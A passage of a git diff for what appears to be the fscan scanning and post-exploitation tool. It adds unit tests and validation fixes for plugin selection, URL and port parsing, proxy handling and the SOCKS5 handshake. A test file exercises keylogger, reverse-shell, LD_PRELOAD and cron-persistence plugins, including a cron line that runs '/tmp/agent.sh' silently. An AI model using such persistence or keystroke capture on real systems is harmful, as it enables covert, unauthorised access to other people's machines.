state.SetSocks5ProxyActive(false) + if state.IsForwardShellActive() || state.IsReverseShellActive() || state.IsSocks5ProxyActive() { + t.Fatal("shell/proxy flags should be inactive") + } +} diff --git a/core/base_scan_strategy_test.go b/core/base_scan_strategy_test.go index b54d110..132d36f 100644 --- a/core/base_scan_strategy_test.go +++ b/core/base_scan_strategy_test.go @@ -2,6 +2,9 @@ package core import ( "testing" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" ) // ============================================================================= @@ -272,6 +275,102 @@ func TestOrderWebPlugins(t *testing.T) { } } +func TestBaseScanStrategyPluginSelectionAndApplicability(t *testing.T) { + registerTestPlugins(t) + plugins.RegisterWithOptions("core_test_local", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false) + plugins.RegisterWithOptions("core_test_udp", func() plugins.Plugin { return nil }, []int{161}, []string{plugins.PluginTypeUDP}, true) + clearServiceCache() + + cfg := common.NewConfig() + cfg.Mode = "ssh, missing_plugin, webtitle" + strategy := NewBaseScanStrategy("service", FilterService) + got, custom := strategy.GetPlugins(cfg) + if !custom { + t.Fatal("explicit mode should be marked as custom") + } + if !slicesEqual(got, []string{"ssh", "webtitle"}) { + t.Fatalf("custom plugins = %#v, want ssh/webtitle", got) + } + + cfg.Mode = "all" + servicePlugins, custom := strategy.GetPlugins(cfg) + if custom { + t.Fatal("all mode should not be custom") + } + if !containsString(servicePlugins, "ssh") || containsString(servicePlugins, "core_test_local") || containsString(servicePlugins, "core_test_udp") { + t.Fatalf("service filtered plugins = %#v", servicePlugins) + } + + if !strategy.pluginExists("ssh") || strategy.pluginExists("missing_plugin") { + t.Fatal("pluginExists returned wrong result") + } + if !strategy.isPluginApplicableToPort("ssh", 22) || strategy.isPluginApplicableToPort("ssh", 23) { + t.Fatal("port applicability for ssh is wrong") + } + CacheServiceInfo("10.0.0.9", 22222, &ServiceInfo{Name: "ssh"}) + if !strategy.isPluginApplicableToPortWithHost("ssh", "10.0.0.9", 22222) { + t.Fatal("service cache should allow ssh on a non-standard port") + } + if !strategy.IsPluginApplicableByName("ssh", "10.0.0.9", 1, true, cfg) { + t.Fatal("custom mode should respect explicitly selected plugin") + } + if strategy.IsPluginApplicableByName("missing_plugin", "10.0.0.9", 22, true, cfg) { + t.Fatal("missing plugin should never be applicable") + } +} + +func TestBaseScanStrategyFilterTypes(t *testing.T) { + plugins.RegisterWithOptions("core_test_local_filter", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false) + plugins.RegisterWithOptions("core_test_web_filter", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeWeb}, true) + plugins.RegisterWithOptions("core_test_udp_filter", func() plugins.Plugin { return nil }, []int{53}, []string{plugins.PluginTypeUDP}, true) + + cfg := common.NewConfig() + localStrategy := NewBaseScanStrategy("local", FilterLocal) + if localStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) { + t.Fatal("local plugin should require explicit -local selection") + } + cfg.LocalPlugin = "core_test_local_filter" + if !localStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) { + t.Fatal("explicit local plugin should pass local filter") + } + + serviceStrategy := NewBaseScanStrategy("service", FilterService) + if !serviceStrategy.isPluginPassesFilterType("ssh", false, cfg) { + t.Fatal("service plugin should pass service filter") + } + if serviceStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) || + serviceStrategy.isPluginPassesFilterType("core_test_udp_filter", false, cfg) { + t.Fatal("service filter should reject local and UDP plugins") + } + + webStrategy := NewBaseScanStrategy("web", FilterWeb) + if !webStrategy.isPluginPassesFilterType("core_test_web_filter", false, cfg) || + webStrategy.isPluginPassesFilterType("ssh", false, cfg) { + t.Fatal("web filter should only allow web plugins") + } + if webPluginOrder("webtitle") != 0 || webPluginOrder("webpoc") != 2 || webPluginOrder("other") != 1 { + t.Fatal("web plugin order changed") + } +} + +func TestFormatPluginList(t *testing.T) { + if got := formatPluginList([]string{"a", "b", "c"}); got != "a, b, c" { + t.Fatalf("short plugin list = %q", got) + } + if got := formatPluginList([]string{"a", "b", "c", "d", "e", "f"}); got == "" || got == "a, b, c, d, e, f" { + t.Fatalf("long plugin list should be summarized, got %q", got) + } +} + +func containsString(values []string, want string) bool { + for _, value := range values { + if value == want { + return true + } + } + return false +} + // TestNewBaseScanStrategy 测试构造函数 func TestNewBaseScanStrategy(t *testing.T) { tests := []struct { diff --git a/core/port_scan.go b/core/port_scan.go index 882fda6..6726b04 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -447,15 +447,26 @@ func buildServiceLogMessage(addr string, serviceInfo *ServiceInfo, isWeb bool) s // Banner 信息 if len(serviceInfo.Banner) > 0 { banner := strings.TrimSpace(serviceInfo.Banner) - if len(banner) > 80 { - banner = banner[:80] + "..." - } + banner = truncateString(banner, 80) fmt.Fprintf(&msg, " Banner:(%s)", banner) } return msg.String() } +func truncateString(s string, maxRunes int) string { + if maxRunes < 0 { + return s + } + for i := range s { + if maxRunes == 0 { + return s[:i] + "..." + } + maxRunes-- + } + return s +} + func buildWebServiceURL(addr string, serviceInfo *ServiceInfo) string { protocol := "http" serviceName := "" diff --git a/core/port_scan_test.go b/core/port_scan_test.go index 7d8e0be..e6dd0bf 100644 --- a/core/port_scan_test.go +++ b/core/port_scan_test.go @@ -2,6 +2,8 @@ package core import ( "fmt" + "sort" + "strings" "testing" ) @@ -254,6 +256,110 @@ func TestBuildWebServiceURLIPv6(t *testing.T) { } } +func TestPortScanCollectorsAndHelpers(t *testing.T) { + t.Run("result collector deduplicates and streams", func(t *testing.T) { + stream := make(chan string, 2) + collector := newResultCollector(stream) + collector.Add("127.0.0.1:80") + collector.Add("127.0.0.1:80") + collector.Add("127.0.0.1:443") + + got := collector.GetAll() + sort.Strings(got) + expected := []string{"127.0.0.1:443", "127.0.0.1:80"} + if !stringSlicesEqual(got, expected) { + t.Fatalf("collector results = %v, want %v", got, expected) + } + + close(stream) + var streamed []string + for addr := range stream { + streamed = append(streamed, addr) + } + sort.Strings(streamed) + if !stringSlicesEqual(streamed, expected) { + t.Fatalf("streamed results = %v, want %v", streamed, expected) + } + }) + + t.Run("failed collector counts", func(t *testing.T) { + var collector failedPortCollector + collector.Add("127.0.0.1", 80, "127.0.0.1:80") + collector.Add("127.0.0.1", 443, "127.0.0.1:443") + if got := collector.Count(); got != 2 { + t.Fatalf("failed count = %d, want 2", got) + } + }) + + t.Run("proxy and closed error helpers", func(t *testing.T) { + if !isProxyErrorResponse([]byte{0x05, 0x01, 0x00, 0x01}) { + t.Fatal("SOCKS5 failure reply should be proxy error") + } + if !isProxyErrorResponse([]byte("HTTP/1.1 502 Bad Gateway\r\n\r\n")) { + t.Fatal("HTTP proxy error text should be detected") + } + if isProxyErrorResponse(nil) || isProxyErrorResponse([]byte{0x05, 0x00}) { + t.Fatal("empty or success response should not be proxy error") + } + if !isConnectionClosed(fmt.Errorf("use of closed network connection")) { + t.Fatal("closed connection error should be detected") + } + if isConnectionClosed(nil) || isConnectionClosed(fmt.Errorf("temporary timeout")) { + t.Fatal("non-closed error should not be detected") + } + }) + + t.Run("service details and subnet prefix", func(t *testing.T) { + details := buildServiceDetails(8443, &ServiceInfo{ + Name: "https", + Version: "1.2.3", + Banner: " hello \r\n", + Extras: map[string]string{ + "vendor_product": "nginx", + "os": "linux", + "info": "tls", + "empty": "", + "ignored": "value", + }, + }) + expected := map[string]interface{}{ + "port": 8443, + "service": "https", + "version": "1.2.3", + "banner": "hello", + "product": "nginx", + "os": "linux", + "info": "tls", + } + for key, want := range expected { + if got := details[key]; got != want { + t.Fatalf("details[%s] = %#v, want %#v (all=%#v)", key, got, want, details) + } + } + if _, ok := details["ignored"]; ok { + t.Fatalf("unexpected ignored extra in details: %#v", details) + } + if got := subnetPrefix("192.168.1.25"); got != "192.168.1" { + t.Fatalf("subnetPrefix IPv4 = %q", got) + } + if got := subnetPrefix("localhost"); got != "" { + t.Fatalf("subnetPrefix hostname = %q, want empty", got) + } + }) +} + +func stringSlicesEqual(a, b []string) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if a[i] != b[i] { + return false + } + } + return true +} + // ============================================================================= // 排除端口逻辑测试(从EnhancedPortScan:28-32行提取) // ============================================================================= @@ -614,6 +720,17 @@ func TestBuildServiceLogMessage(t *testing.T) { } } +func TestBuildServiceLogMessageTruncatesBannerByRune(t *testing.T) { + result := buildServiceLogMessage("10.0.0.1:22", &ServiceInfo{ + Name: "ssh", + Banner: strings.Repeat("界", 85), + Extras: map[string]string{}, + }, false) + if !strings.Contains(result, strings.Repeat("界", 80)+"...") { + t.Fatalf("truncated banner is not rune-safe: %q", result) + } +} + // contains 检查字符串是否包含子串 func contains(s, substr string) bool { return len(s) >= len(substr) && (s == substr || len(substr) == 0 || diff --git a/core/portfinger/probe_parser.go b/core/portfinger/probe_parser.go index fb9bcc4..2a9d5b4 100644 --- a/core/portfinger/probe_parser.go +++ b/core/portfinger/probe_parser.go @@ -13,7 +13,7 @@ func (p *Probe) getDirectiveSyntax(data string) (directive Directive) { directive = Directive{} // 查找第一个空格的位置 blankIndex := strings.Index(data, " ") - if blankIndex == -1 { + if blankIndex == -1 || blankIndex+3 > len(data) { return directive } @@ -33,6 +33,10 @@ func (p *Probe) getDirectiveSyntax(data string) (directive Directive) { // parseProbeInfo 解析探测器信息,返回错误替代 panic func (p *Probe) parseProbeInfo(probeStr string) error { + if len(probeStr) < 5 { + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_protocol_invalid")) + } + // 提取协议和其他信息 proto := probeStr[:4] other := probeStr[4:] @@ -49,6 +53,9 @@ func (p *Probe) parseProbeInfo(probeStr string) error { // 解析指令 directive := p.getDirectiveSyntax(other) + if directive.DirectiveName == "" || directive.Delimiter == "" { + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_name_invalid")) + } // 设置探测器属性 p.Name = directive.DirectiveName diff --git a/core/portfinger/probe_parser_test.go b/core/portfinger/probe_parser_test.go new file mode 100644 index 0000000..127b7a7 --- /dev/null +++ b/core/portfinger/probe_parser_test.go @@ -0,0 +1,33 @@ +package portfinger + +import "testing" + +func TestProbeParserRejectsShortInputs(t *testing.T) { + tests := []string{ + "", + "T", + "TCP", + "TCP ", + "TCP Q", + "TCP GetRequest q", + } + + for _, input := range tests { + t.Run(input, func(t *testing.T) { + var probe Probe + if err := probe.fromString(input); err == nil { + t.Fatalf("fromString(%q) error = nil, want malformed input error", input) + } + }) + } +} + +func TestProbeParserAcceptsMinimalValidProbe(t *testing.T) { + var probe Probe + if err := probe.fromString(`TCP GetRequest q|GET / HTTP/1.0\r\n\r\n|`); err != nil { + t.Fatalf("fromString valid probe error = %v", err) + } + if probe.Name != "GetRequest" || probe.Protocol != "tcp" || probe.Data == "" { + t.Fatalf("probe parsed incorrectly: %#v", probe) + } +} diff --git a/core/web_scanner.go b/core/web_scanner.go index e48d5bb..d2b4dab 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -112,7 +112,11 @@ func createHTTPClient(config *common.Config, session *common.ScanSession) *http. networkConfig := config.Network if networkConfig.HTTPProxy != "" { // 使用HTTP代理 - if proxyURL, err := url.Parse(networkConfig.HTTPProxy); err == nil { + httpProxy := networkConfig.HTTPProxy + if !strings.Contains(httpProxy, "://") { + httpProxy = "http://" + httpProxy + } + if proxyURL, err := url.Parse(httpProxy); err == nil && proxyURL.Host != "" { transport.Proxy = http.ProxyURL(proxyURL) } else { session.LogError(i18n.Tr("http_proxy_config_error", err)) @@ -393,17 +397,31 @@ func (s *WebScanStrategy) createTargetFromURLWithSession(baseInfo common.HostInf // 解析URL获取Host和Port信息 parsedURL, err := url.Parse(urlStr) if err != nil { - session.LogError(i18n.Tr("url_parse_failed", urlStr, err)) + if session != nil { + session.LogError(i18n.Tr("url_parse_failed", urlStr, err)) + } return nil } urlInfo := baseInfo urlInfo.URL = urlStr urlInfo.Host = parsedURL.Hostname() + if urlInfo.Host == "" { + if session != nil { + session.LogError(i18n.Tr("url_parse_failed", urlStr, "empty host")) + } + return nil + } // 设置端口 portStr := parsedURL.Port() if portStr == "" { + if hasMalformedURLPort(parsedURL.Host) { + if session != nil { + session.LogError(i18n.Tr("host_port_invalid", urlInfo.Host, "")) + } + return nil + } // 根据协议设置默认端口 if parsedURL.Scheme == "https" { urlInfo.Port = 443 @@ -411,18 +429,14 @@ func (s *WebScanStrategy) createTargetFromURLWithSession(baseInfo common.HostInf urlInfo.Port = 80 } } else { - // 解析端口字符串为整数 - var port int - if _, err := fmt.Sscanf(portStr, "%d", &port); err == nil { - urlInfo.Port = port - } else { - // 解析失败时使用默认端口 - if parsedURL.Scheme == "https" { - urlInfo.Port = 443 - } else { - urlInfo.Port = 80 + port, err := strconv.Atoi(portStr) + if err != nil || port < 1 || port > 65535 { + if session != nil { + session.LogError(i18n.Tr("host_port_invalid", urlInfo.Host, portStr)) } + return nil } + urlInfo.Port = port } // 标记为Web服务,确保Web插件能识别此目标 @@ -430,3 +444,11 @@ func (s *WebScanStrategy) createTargetFromURLWithSession(baseInfo common.HostInf return &urlInfo } + +func hasMalformedURLPort(host string) bool { + if strings.HasPrefix(host, "[") { + end := strings.LastIndexByte(host, ']') + return end >= 0 && len(host) > end+1 && host[end+1] == ':' + } + return strings.Contains(host, ":") +} diff --git a/core/web_scanner_test.go b/core/web_scanner_test.go index 3745269..0a2c6f1 100644 --- a/core/web_scanner_test.go +++ b/core/web_scanner_test.go @@ -607,17 +607,43 @@ func TestCreateTargetFromURL_EdgeCases(t *testing.T) { t.Run("空URL", func(t *testing.T) { result := strategy.createTargetFromURL(common.HostInfo{}, "") - // url.Parse("")会成功,但Hostname()返回空 - if result == nil { - t.Skip("空URL解析行为依赖于url.Parse实现") + if result != nil { + t.Fatalf("空URL应被拒绝,实际 %#v", result) } }) t.Run("只有协议", func(t *testing.T) { result := strategy.createTargetFromURL(common.HostInfo{}, "http://") - // url.Parse("http://")会成功,但Host为空 - if result != nil && result.Host == "" { - t.Log("Empty host check passed as expected") + if result != nil { + t.Fatalf("空Host URL应被拒绝,实际 %#v", result) + } + }) + + t.Run("非法URL不会因nil session panic", func(t *testing.T) { + result := strategy.createTargetFromURL(common.HostInfo{}, "http://[::1") + if result != nil { + t.Fatalf("非法URL应被拒绝,实际 %#v", result) + } + }) + + t.Run("越界端口", func(t *testing.T) { + result := strategy.createTargetFromURL(common.HostInfo{}, "http://example.com:70000") + if result != nil { + t.Fatalf("越界端口应被拒绝,实际 %#v", result) + } + }) + + t.Run("非数字端口", func(t *testing.T) { + result := strategy.createTargetFromURL(common.HostInfo{}, "http://example.com:bad") + if result != nil { + t.Fatalf("非数字端口应被拒绝,实际 %#v", result) + } + }) + + t.Run("空端口", func(t *testing.T) { + result := strategy.createTargetFromURL(common.HostInfo{}, "http://example.com:") + if result != nil { + t.Fatalf("空端口应被拒绝,实际 %#v", result) } }) @@ -642,6 +668,16 @@ func TestCreateTargetFromURL_EdgeCases(t *testing.T) { } } }) + + t.Run("IPv6无端口使用默认端口", func(t *testing.T) { + result := strategy.createTargetFromURL(common.HostInfo{}, "https://[::1]/") + if result == nil { + t.Fatal("IPv6无端口URL应能正确解析") + } + if result.Host != "::1" || result.Port != 443 { + t.Fatalf("IPv6默认端口解析错误: %#v", result) + } + }) } // TestIsWebServiceByFingerprint_Priority 测试识别优先级 @@ -816,6 +852,19 @@ func TestCreateHTTPClientUsesPerSessionProxy(t *testing.T) { } } +func TestCreateHTTPClientNormalizesHTTPProxyWithoutScheme(t *testing.T) { + cfg := common.NewConfig() + cfg.Network.WebTimeout = time.Second + cfg.Network.HTTPProxy = "127.0.0.1:18080" + session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) + + client := createHTTPClient(cfg, session) + proxy := proxyForTest(t, client) + if proxy != "http://127.0.0.1:18080" { + t.Fatalf("proxy = %q, want http://127.0.0.1:18080", proxy) + } +} + func proxyForTest(t *testing.T, client *http.Client) string { t.Helper() diff --git a/pkg/fscan/result.go b/pkg/fscan/result.go index b5a2594..d03bfc4 100644 --- a/pkg/fscan/result.go +++ b/pkg/fscan/result.go @@ -135,21 +135,25 @@ func (r Result) DetailBool(key string) (bool, bool) { // Port returns the result port from details, or from a target in host:port form. func (r Result) Port() (int, bool) { if port, ok := r.DetailInt("port"); ok { - return port, true + return port, validPort(port) } if _, portText, err := net.SplitHostPort(r.Target); err == nil { port, err := strconv.Atoi(portText) - return port, err == nil + return port, err == nil && validPort(port) } if strings.Count(r.Target, ":") == 1 { if idx := strings.LastIndex(r.Target, ":"); idx >= 0 && idx+1 < len(r.Target) { port, err := strconv.Atoi(r.Target[idx+1:]) - return port, err == nil + return port, err == nil && validPort(port) } } return 0, false } +func validPort(port int) bool { + return port >= 1 && port <= 65535 +} + // Service returns the detected service name when present. func (r Result) Service() (string, bool) { return r.DetailString("service") } diff --git a/pkg/fscan/result_test.go b/pkg/fscan/result_test.go index b9bc818..e9401a9 100644 --- a/pkg/fscan/result_test.go +++ b/pkg/fscan/result_test.go @@ -76,6 +76,21 @@ func TestResultPortNoPort(t *testing.T) { } } +func TestResultPortRejectsOutOfRangePorts(t *testing.T) { + tests := []Result{ + {Target: "10.0.0.1:70000"}, + {Target: "[::1]:0"}, + {Details: map[string]interface{}{"port": 70000}}, + {Details: map[string]interface{}{"port": 0}}, + } + + for _, result := range tests { + if port, ok := result.Port(); ok { + t.Fatalf("Port(%#v) = %d/true, want false", result, port) + } + } +} + func TestResultCredentialHelpers(t *testing.T) { result := Result{ Type: ResultTypeVuln, @@ -715,4 +730,3 @@ func TestResultSummaryJSON(t *testing.T) { t.Fatalf("round-trip failed: %#v", decoded) } } - diff --git a/plugins/init_test.go b/plugins/init_test.go index f2fdf8d..5ef3e1d 100644 --- a/plugins/init_test.go +++ b/plugins/init_test.go @@ -1,6 +1,7 @@ package plugins import ( + "context" "testing" "github.com/shadow1ng/fscan/common" @@ -23,6 +24,122 @@ init_test.go - 插件系统核心逻辑测试 // GenerateCredentials - 核心凭据生成逻辑 // ============================================================================= +func preservePluginRegistry(t *testing.T) { + t.Helper() + + mutex.RLock() + snapshot := make(map[string]*PluginInfo, len(plugins)) + for name, info := range plugins { + copied := *info + copied.ports = append([]int(nil), info.ports...) + copied.types = append([]string(nil), info.types...) + snapshot[name] = &copied + } + mutex.RUnlock() + + t.Cleanup(func() { + mutex.Lock() + plugins = snapshot + mutex.Unlock() + }) +} + +type testPlugin struct { + BasePlugin +} + +func (p testPlugin) Scan(context.Context, *common.HostInfo, *common.ScanSession) *Result { + return &Result{Type: ResultTypeService, Success: true} +} + +func TestPluginRegistryMetadata(t *testing.T) { + preservePluginRegistry(t) + + RegisterWithPorts("unit_tcp", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_tcp")} + }, []int{1234, 5678}) + RegisterUDPWithPorts("unit_udp", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_udp")} + }, []int{161}) + RegisterWithTypes("unit_local", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_local")} + }, nil, []string{PluginTypeLocal}) + RegisterUnsafeWithTypes("unit_unsafe_web", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_unsafe_web")} + }, nil, []string{PluginTypeWeb}) + + if !Exists("unit_tcp") || Exists("missing_plugin") { + t.Fatal("Exists returned wrong result") + } + if got := Get("unit_tcp"); got == nil || got.Name() != "unit_tcp" { + t.Fatalf("Get(unit_tcp) = %#v", got) + } + if got := Get("missing_plugin"); got != nil { + t.Fatalf("Get(missing_plugin) = %#v, want nil", got) + } + if !HasType("unit_tcp", PluginTypeService) || !HasType("unit_local", PluginTypeLocal) { + t.Fatal("registered plugin types were not recorded") + } + if !IsUDP("unit_udp") || IsUDP("unit_tcp") { + t.Fatal("UDP metadata is wrong") + } + if !IsSafe("unit_tcp") || IsSafe("unit_local") || IsSafe("unit_unsafe_web") || IsSafe("missing_plugin") { + t.Fatal("safe metadata is wrong") + } + + ports := GetPluginPorts("unit_tcp") + if len(ports) != 2 || ports[0] != 1234 || ports[1] != 5678 { + t.Fatalf("ports = %#v", ports) + } + if got := GetPluginPorts("missing_plugin"); len(got) != 0 { + t.Fatalf("missing plugin ports = %#v, want empty", got) + } + if !hasPluginType([]string{PluginTypeWeb, PluginTypeLocal}, PluginTypeLocal) || + hasPluginType([]string{PluginTypeWeb}, PluginTypeUDP) { + t.Fatal("hasPluginType returned wrong result") + } + + names := All() + for _, want := range []string{"unit_tcp", "unit_udp", "unit_local", "unit_unsafe_web"} { + if !containsPluginName(names, want) { + t.Fatalf("All() missing %q in %#v", want, names) + } + } +} + +func TestPluginLocalModeHook(t *testing.T) { + preservePluginRegistry(t) + + RegisterWithTypes("unit_local_mode", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_local_mode")} + }, nil, []string{PluginTypeLocal}) + RegisterWithPorts("unit_service_mode", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_service_mode")} + }, []int{22}) + + if common.IsLocalMode == nil { + t.Fatal("IsLocalMode hook should be installed") + } + if !common.IsLocalMode("unit_local_mode") { + t.Fatal("single local plugin should be local mode") + } + if !common.IsLocalMode("unit_local_mode, unit_local_mode") { + t.Fatal("local plugin list should be local mode") + } + if common.IsLocalMode("") || common.IsLocalMode("all") || common.IsLocalMode("unit_local_mode,unit_service_mode") { + t.Fatal("non-local modes should not be local mode") + } +} + +func containsPluginName(values []string, want string) bool { + for _, value := range values { + if value == want { + return true + } + } + return false +} + func TestGenerateCredentials_UserPassPairs_Priority(t *testing.T) { /* 关键测试:UserPassPairs 应该优先于笛卡尔积 diff --git a/plugins/local/local_pure_test.go b/plugins/local/local_pure_test.go new file mode 100644 index 0000000..c271121 --- /dev/null +++ b/plugins/local/local_pure_test.go @@ -0,0 +1,152 @@ +//go:build linux && !no_local + +package local + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func TestLocalPluginConstructors(t *testing.T) { + tests := []struct { + name string + got Plugin + }{ + {name: "cleaner", got: NewCleanerPlugin()}, + {name: "crontask", got: NewCronTaskPlugin()}, + {name: "forwardshell", got: NewForwardShellPlugin()}, + {name: "keylogger", got: NewKeyloggerPlugin()}, + {name: "ldpreload", got: NewLDPreloadPlugin()}, + {name: "reverseshell", got: NewReverseShellPlugin()}, + {name: "socks5proxy", got: NewSocks5ProxyPlugin()}, + {name: "sshkey", got: NewSSHKeyPlugin()}, + {name: "systemdservice", got: NewSystemdServicePlugin()}, + {name: "systeminfo", got: NewSystemInfoPlugin()}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if tt.got == nil { + t.Fatal("constructor returned nil") + } + if got := tt.got.Name(); got != tt.name { + t.Fatalf("Name() = %q, want %q", got, tt.name) + } + }) + } +} + +func TestCronTaskScriptDetectionAndJobs(t *testing.T) { + plugin := NewCronTaskPlugin() + for _, name := range []string{"agent.sh", "agent.bash", "agent.zsh"} { + plugin.targetFile = name + if !plugin.isScriptFile() { + t.Fatalf("%s should be treated as script", name) + } + } + + plugin.targetFile = "agent.bin" + if plugin.isScriptFile() { + t.Fatal("binary target should not be treated as script") + } + + plugin.targetFile = "agent.sh" + jobs := plugin.generateCronJobs("/tmp/agent.sh") + if len(jobs) != 4 { + t.Fatalf("job count = %d, want 4", len(jobs)) + } + for _, job := range jobs { + if !strings.Contains(job, "bash /tmp/agent.sh >/dev/null 2>&1") { + t.Fatalf("script cron job missing bash wrapper: %q", job) + } + } +} + +func TestLDPreloadValidFileDetection(t *testing.T) { + dir := t.TempDir() + plugin := NewLDPreloadPlugin() + + soPath := filepath.Join(dir, "libhook.so") + if err := os.WriteFile(soPath, []byte("not actually elf"), 0600); err != nil { + t.Fatal(err) + } + if !plugin.isValidFile(soPath) { + t.Fatal(".so file should be accepted by extension") + } + + elfPath := filepath.Join(dir, "payload.bin") + if err := os.WriteFile(elfPath, []byte{0x7f, 'E', 'L', 'F', 0x02}, 0600); err != nil { + t.Fatal(err) + } + if !plugin.isValidFile(elfPath) { + t.Fatal("ELF magic file should be accepted") + } + + textPath := filepath.Join(dir, "payload.txt") + if err := os.WriteFile(textPath, []byte("plain text"), 0600); err != nil { + t.Fatal(err) + } + if plugin.isValidFile(textPath) { + t.Fatal("plain text file should not be accepted") + } +} + +func TestKeyloggerBufferAndFileHelpers(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "keys.log") + session := common.NewScanSession(common.NewConfig(), common.NewState(), &common.FlagVars{}) + plugin := NewKeyloggerPlugin() + + if err := plugin.checkOutputFilePermissions(path); err != nil { + t.Fatalf("checkOutputFilePermissions error = %v", err) + } + if _, err := os.Stat(path); err != nil { + t.Fatalf("output file was not created: %v", err) + } + + if err := plugin.saveKeysToFile(path, session); err != nil { + t.Fatalf("save empty keys error = %v", err) + } + + plugin.addKeyToBuffer("A") + plugin.addKeyToBuffer("B") + if len(plugin.keyBuffer) != 2 { + t.Fatalf("key buffer length = %d, want 2", len(plugin.keyBuffer)) + } + if err := plugin.saveKeysToFile(path, session); err != nil { + t.Fatalf("save keys error = %v", err) + } + content, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(content), "A") || !strings.Contains(string(content), "B") { + t.Fatalf("saved key log missing entries: %q", content) + } +} + +func TestShellUtilityHelpers(t *testing.T) { + prompt := NewForwardShellPlugin().getPrompt() + if !strings.HasSuffix(prompt, "$ ") && !strings.HasSuffix(prompt, "> ") && !strings.HasSuffix(prompt, "# ") { + t.Fatalf("unexpected prompt suffix: %q", prompt) + } + + if dir := getCurrentDir(); dir == "" || dir == "unknown" { + t.Fatalf("getCurrentDir() = %q", dir) + } + + pub, priv, err := NewSSHKeyPlugin().generateKeyPair() + if err != nil { + t.Fatalf("generateKeyPair error = %v", err) + } + if !strings.HasPrefix(pub, "ssh-ed25519 ") { + t.Fatalf("public key should be ssh-ed25519, got %q", pub) + } + if !strings.Contains(priv, "OPENSSH PRIVATE KEY") { + t.Fatal("private key should be OpenSSH PEM") + } +} diff --git a/plugins/local/socks5proxy.go b/plugins/local/socks5proxy.go index ed8c84b..f47791d 100644 --- a/plugins/local/socks5proxy.go +++ b/plugins/local/socks5proxy.go @@ -160,21 +160,26 @@ func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Con // handleSocks5Handshake 处理SOCKS5握手 func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error { - // 读取客户端握手请求 - buffer := make([]byte, 256) - n, err := conn.Read(buffer) - if err != nil { + header := make([]byte, 2) + if _, err := io.ReadFull(conn, header); err != nil { return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err) } - if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5 + if header[0] != 0x05 || header[1] == 0 { + return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version")) + } + methods := make([]byte, int(header[1])) + if _, err := io.ReadFull(conn, methods); err != nil { + return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err) + } + if !containsByte(methods, 0x00) { + _, _ = conn.Write([]byte{0x05, 0xff}) return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version")) } // 发送握手响应(无认证) response := []byte{0x05, 0x00} // 版本5,无认证 - _, err = conn.Write(response) - if err != nil { + if _, err := conn.Write(response); err != nil { return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_write_failed"), err) } @@ -183,18 +188,16 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error { // handleSocks5Request 处理SOCKS5连接请求 func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *common.ScanSession) (net.Conn, int, error) { - // 读取连接请求 - buffer := make([]byte, 256) - n, err := clientConn.Read(buffer) - if err != nil { + header := make([]byte, 4) + if _, err := io.ReadFull(clientConn, header); err != nil { return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_request_read_failed"), err) } - if n < 7 || buffer[0] != 0x05 { + if header[0] != 0x05 || header[2] != 0x00 { return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request")) } - cmd := buffer[1] + cmd := header[1] if cmd != 0x01 { // 只支持CONNECT命令 // 发送不支持的命令响应 response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} @@ -203,40 +206,50 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *co } // 解析目标地址 - addrType := buffer[3] + addrType := header[3] var targetHost string var targetPort int switch addrType { case 0x01: // IPv4 - if n < 10 { + addr := make([]byte, 6) + if _, err := io.ReadFull(clientConn, addr); err != nil { return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv4_address_invalid")) } - targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7]) - targetPort = int(buffer[8])<<8 + int(buffer[9]) + targetHost = fmt.Sprintf("%d.%d.%d.%d", addr[0], addr[1], addr[2], addr[3]) + targetPort = int(addr[4])<<8 + int(addr[5]) case 0x03: // 域名 - if n < 5 { + lenBuf := make([]byte, 1) + if _, err := io.ReadFull(clientConn, lenBuf); err != nil { return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_format_invalid")) } - domainLen := int(buffer[4]) - if n < 5+domainLen+2 { + domainLen := int(lenBuf[0]) + if domainLen == 0 { return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid")) } - targetHost = string(buffer[5 : 5+domainLen]) - targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1]) + addr := make([]byte, domainLen+2) + if _, err := io.ReadFull(clientConn, addr); err != nil { + return nil, 0, fmt.Errorf("%s", 